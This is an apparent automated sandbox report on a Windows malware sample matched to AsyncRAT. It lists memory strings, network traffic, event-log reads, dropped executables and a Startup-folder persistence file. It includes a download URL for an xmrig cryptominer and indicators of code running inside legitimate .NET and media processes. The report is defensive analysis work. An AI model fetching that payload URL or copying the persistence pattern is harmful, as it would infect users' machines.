Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/retention.srfce
Source: svchost.exe, 00000007.00000002.3901503012.0000023D07684000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com:443/RST2.srf
Source: svchost.exe, 00000007.00000003.1470144781.0000023D06F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470190462.0000023D06F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/MSARST2.srf
Source: svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/MSARST2.srf=
Source: svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srfJ
Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf.
Source: svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf-
Source: svchost.exe, 00000007.00000002.3897187473.0000023D06629000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf%
Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3897187473.0000023D06629000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3897187473.0000023D06629000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf
Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf
Source: MSBuild.exe, 0000001B.00000002.2296563820.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/VolVeRFM/SilentMiner-VolVeR/main/VolVeRBuilder/Resources/xmrig.exe
Source: svchost.exe, 00000007.00000003.1469891074.0000023D06F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469979112.0000023D06F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470144781.0000023D06F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470190462.0000023D06F40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://signup.live.com/signup.aspx

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49732 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Reads the Security eventlog

Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\Payaret
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\Payaret

Reads the System eventlog

Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\Payaret
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\Payaret

System Summary

Malicious sample detected (through community Yara rule)

Source: 3.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.1666528793.0000016E9AC91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000003.00000002.3891974556.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 12_2_000002109C3C202C NtQuerySystemInformation,StrCmpNIW,	12_2_000002109C3C202C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 12_2_000002109C3C28C8 NtEnumerateValueKey,NtEnumerateValueKey,	12_2_000002109C3C28C8
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 12_2_000002109C3C2B2C NtDeviceIoControlFile,GetModuleHandleA,GetProcAddress,StrCmpNIW,lstrlenW,lstrlenW,	12_2_000002109C3C2B2C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 12_2_000002109C3C27FC NtEnumerateKey,NtEnumerateKey,	12_2_000002109C3C27FC
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 23_2_00000200AB6328C8 NtEnumerateValueKey,NtEnumerateValueKey,	23_2_00000200AB6328C8
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 23_2_00000200AB632B2C NtDeviceIoControlFile,GetModuleHandleA,GetProcAddress,StrCmpNIW,lstrlenW,lstrlenW,	23_2_00000200AB632B2C
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 41_2_0000000140001394 NtAlpcCancelMessage,	41_2_0000000140001394
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 42_2_000001932CE928C8 NtEnumerateValueKey,NtEnumerateValueKey,	42_2_000001932CE928C8

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe

Code function: 12_2_000002109C3C2B2C: NtDeviceIoControlFile,GetModuleHandleA,GetProcAddress,StrCmpNIW,lstrlenW,lstrlenW,

12_2_000002109C3C2B2C

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Code function: 0_2_00007FFAAC256D79	0_2_00007FFAAC256D79
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Code function: 0_2_00007FFAAC2565A8	0_2_00007FFAAC2565A8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Code function: 0_2_00007FFAAC25FA60	0_2_00007FFAAC25FA60
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Code function: 0_2_00007FFAAC25D4F5	0_2_00007FFAAC25D4F5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Code function: 0_2_00007FFAAC2565C8	0_2_00007FFAAC2565C8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Code function: 0_2_00007FFAAC257F28	0_2_00007FFAAC257F28
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Code function: 0_2_00007FFAAC25E2B0	0_2_00007FFAAC25E2B0
Source: C:\Windows\System32\svchost.exe	Code function: 2_2_00000142DB1544A8	2_2_00000142DB1544A8
Source: C:\Windows\System32\svchost.exe	Code function: 2_2_00000142DB14DCE0	2_2_00000142DB14DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 2_2_00000142DB142B2C	2_2_00000142DB142B2C
Source: C:\Windows\System32\svchost.exe	Code function: 2_2_00000142DB40D0E0	2_2_00000142DB40D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 2_2_00000142DB4138A8	2_2_00000142DB4138A8
Source: C:\Windows\System32\svchost.exe	Code function: 2_2_00000142DB401F2C	2_2_00000142DB401F2C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 3_2_01665778	3_2_01665778
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 3_2_0166C7E8	3_2_0166C7E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 3_2_0166BA98	3_2_0166BA98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 3_2_01664EA8	3_2_01664EA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 3_2_01664B60	3_2_01664B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 3_2_01660C00	3_2_01660C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 3_2_01666E28	3_2_01666E28
Source: C:\Windows\System32\svchost.exe	Code function: 4_2_000001F28A011F2C	4_2_000001F28A011F2C
Source: C:\Windows\System32\svchost.exe	Code function: 4_2_000001F28A0238A8	4_2_000001F28A0238A8
Source: C:\Windows\System32\svchost.exe	Code function: 4_2_000001F28A01D0E0	4_2_000001F28A01D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 4_2_000001F28A042B2C	4_2_000001F28A042B2C
Source: C:\Windows\System32\svchost.exe	Code function: 4_2_000001F28A0544A8	4_2_000001F28A0544A8
Source: C:\Windows\System32\svchost.exe	Code function: 4_2_000001F28A04DCE0	4_2_000001F28A04DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 7_2_0000023D0748DCE0	7_2_0000023D0748DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 7_2_0000023D074944A8	7_2_0000023D074944A8
Source: C:\Windows\System32\svchost.exe	Code function: 7_2_0000023D07482B2C	7_2_0000023D07482B2C
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Code function: 8_2_00007FFAAC249DB0	8_2_00007FFAAC249DB0
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Code function: 8_2_00007FFAAC24897D	8_2_00007FFAAC24897D
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Code function: 8_2_00007FFAAC24B1D1	8_2_00007FFAAC24B1D1
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Code function: 8_2_00007FFAAC24ACA0	8_2_00007FFAAC24ACA0
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Code function: 8_2_00007FFAAC2434D3	8_2_00007FFAAC2434D3
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Code function: 8_2_00007FFAAC24335E	8_2_00007FFAAC24335E
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Code function: 8_2_00007FFAAC243418	8_2_00007FFAAC243418
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 12_2_00401980	12_2_00401980
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 12_2_000002109C3A38A8	12_2_000002109C3A38A8
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 12_2_000002109C39D0E0	12_2_000002109C39D0E0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 12_2_000002109C391F2C	12_2_000002109C391F2C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 12_2_000002109C3C2B2C	12_2_000002109C3C2B2C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 12_2_000002109C3D44A8	12_2_000002109C3D44A8
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 12_2_000002109C3D6100	12_2_000002109C3D6100
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 12_2_000002109C3D6100	12_2_000002109C3D6100
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 12_2_000002109C3D60E8	12_2_000002109C3D60E8
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 12_2_000002109C3CDCE0	12_2_000002109C3CDCE0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 12_2_000002109C3D6218	12_2_000002109C3D6218
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe	Code function: 16_2_00007FF7FE54307C	16_2_00007FF7FE54307C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe	Code function: 16_2_00007FF7FE541E74	16_2_00007FF7FE541E74
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe	Code function: 16_2_00007FF7FE545ED0	16_2_00007FF7FE545ED0
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Code function: 20_2_00007FFAAC256D79	20_2_00007FFAAC256D79
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Code function: 20_2_00007FFAAC25FE60	20_2_00007FFAAC25FE60
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Code function: 20_2_00007FFAAC278870	20_2_00007FFAAC278870
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Code function: 20_2_00007FFAAC25126C	20_2_00007FFAAC25126C
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Code function: 20_2_00007FFAAC267240	20_2_00007FFAAC267240
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Code function: 20_2_00007FFAAC25D4F5	20_2_00007FFAAC25D4F5
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Code function: 20_2_00007FFAAC260FFA	20_2_00007FFAAC260FFA
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Code function: 20_2_00007FFAAC25E2B0	20_2_00007FFAAC25E2B0
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Code function: 21_2_00007FFAAC249DB0	21_2_00007FFAAC249DB0
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Code function: 21_2_00007FFAAC2555A9	21_2_00007FFAAC2555A9
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Code function: 21_2_00007FFAAC252599	21_2_00007FFAAC252599
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Code function: 21_2_00007FFAAC24B1D1	21_2_00007FFAAC24B1D1
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Code function: 21_2_00007FFAAC252A21	21_2_00007FFAAC252A21
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Code function: 21_2_00007FFAAC253EBA	21_2_00007FFAAC253EBA
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Code function: 21_2_00007FFAAC24ACA0	21_2_00007FFAAC24ACA0
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Code function: 21_2_00007FFAAC2434D3	21_2_00007FFAAC2434D3
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Code function: 21_2_00007FFAAC24335E	21_2_00007FFAAC24335E
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Code function: 21_2_00007FFAAC243418	21_2_00007FFAAC243418
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Code function: 21_2_00007FFAACBA0001	21_2_00007FFAACBA0001
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 23_2_00000200A98C1F2C	23_2_00000200A98C1F2C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 23_2_00000200A98D38A8	23_2_00000200A98D38A8
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 23_2_00000200A98CD0E0	23_2_00000200A98CD0E0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 23_2_00000200AB632B2C	23_2_00000200AB632B2C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 23_2_00000200AB646100	23_2_00000200AB646100
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 23_2_00000200AB646100	23_2_00000200AB646100
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 23_2_00000200AB63DCE0	23_2_00000200AB63DCE0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 23_2_00000200AB6460E8	23_2_00000200AB6460E8
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 23_2_00000200AB6444A8	23_2_00000200AB6444A8
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 23_2_00000200AB646218	23_2_00000200AB646218
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Code function: 35_2_00007FFAAC2434D3	35_2_00007FFAAC2434D3
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Code function: 35_2_00007FFAAC24335E	35_2_00007FFAAC24335E
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Code function: 35_2_00007FFAAC249DB0	35_2_00007FFAAC249DB0
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Code function: 35_2_00007FFAAC24B1D1	35_2_00007FFAAC24B1D1
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Code function: 35_2_00007FFAAC255669	35_2_00007FFAAC255669
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Code function: 35_2_00007FFAAC252659	35_2_00007FFAAC252659
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Code function: 35_2_00007FFAAC24F868	35_2_00007FFAAC24F868
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Code function: 35_2_00007FFAAC24ACA0	35_2_00007FFAAC24ACA0
Source: C:\Users\user\AppData\Local\ServiceHub\msbuild.exe	Code function: 37_2_007D5A41	37_2_007D5A41
Source: C:\Users\user\AppData\Local\ServiceHub\msbuild.exe	Code function: 37_2_007D1E2F	37_2_007D1E2F
Source: C:\Users\user\AppData\Local\ServiceHub\msbuild.exe	Code function: 39_2_00BC5A41	39_2_00BC5A41
Source: C:\Users\user\AppData\Local\ServiceHub\msbuild.exe	Code function: 39_2_00BC2788	39_2_00BC2788
Source: C:\Users\user\AppData\Local\ServiceHub\msbuild.exe	Code function: 39_2_00BC1E2F	39_2_00BC1E2F
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 41_2_00000001400065AE	41_2_00000001400065AE
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 41_2_00000001400065AE	41_2_00000001400065AE
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 41_2_00000001400065AE	41_2_00000001400065AE
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 41_2_00000001400065AE	41_2_00000001400065AE
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 41_2_000001DDEEF7D0E0	41_2_000001DDEEF7D0E0
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 41_2_000001DDEEF838A8	41_2_000001DDEEF838A8
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 41_2_000001DDEEF71F2C	41_2_000001DDEEF71F2C
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 41_2_000001DDEEFADCE0	41_2_000001DDEEFADCE0
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 41_2_000001DDEEFB44A8	41_2_000001DDEEFB44A8
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 41_2_000001DDEEFA2B2C	41_2_000001DDEEFA2B2C
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 42_2_000001932CDDD0E0	42_2_000001932CDDD0E0
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 42_2_000001932CDE38A8	42_2_000001932CDE38A8
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 42_2_000001932CDD1F2C	42_2_000001932CDD1F2C
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 42_2_000001932CEA6100	42_2_000001932CEA6100
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 42_2_000001932CEA6100	42_2_000001932CEA6100
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 42_2_000001932CE9DCE0	42_2_000001932CE9DCE0
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 42_2_000001932CEA44A8	42_2_000001932CEA44A8
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 42_2_000001932CEA6218	42_2_000001932CEA6218
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 42_2_000001932CE92B2C	42_2_000001932CE92B2C

Source: C:\Program Files\Windows Media Player\wmplayer.exe

Code function: String function: 0000000140001394 appears 33 times

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 384 -p 432 -ip 432

Source: ohvrxt.exe.3.dr	Static PE information: No import functions for PE file found
Source: utntwb.exe.3.dr	Static PE information: No import functions for PE file found
Source: hgzxhw.exe.3.dr	Static PE information: No import functions for PE file found
Source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Static PE information: No import functions for PE file found
Source: spczxf.exe.3.dr	Static PE information: No import functions for PE file found

Source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1666528793.0000016E9AC91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameX326.exe4 vs SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe
Source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1668704123.0000016EAAE50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameEyemapowipuyacalariqo@ vs SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe
Source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670390218.0000016EB3350000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameEyemapowipuyacalariqo@ vs SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe
Source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000000.1435016108.0000016E98F62000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameOqohojurovayof< vs SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe
Source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Binary or memory string: OriginalFilenameOqohojurovayof< vs SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Section loaded: userenv.dll	Jump to behavior
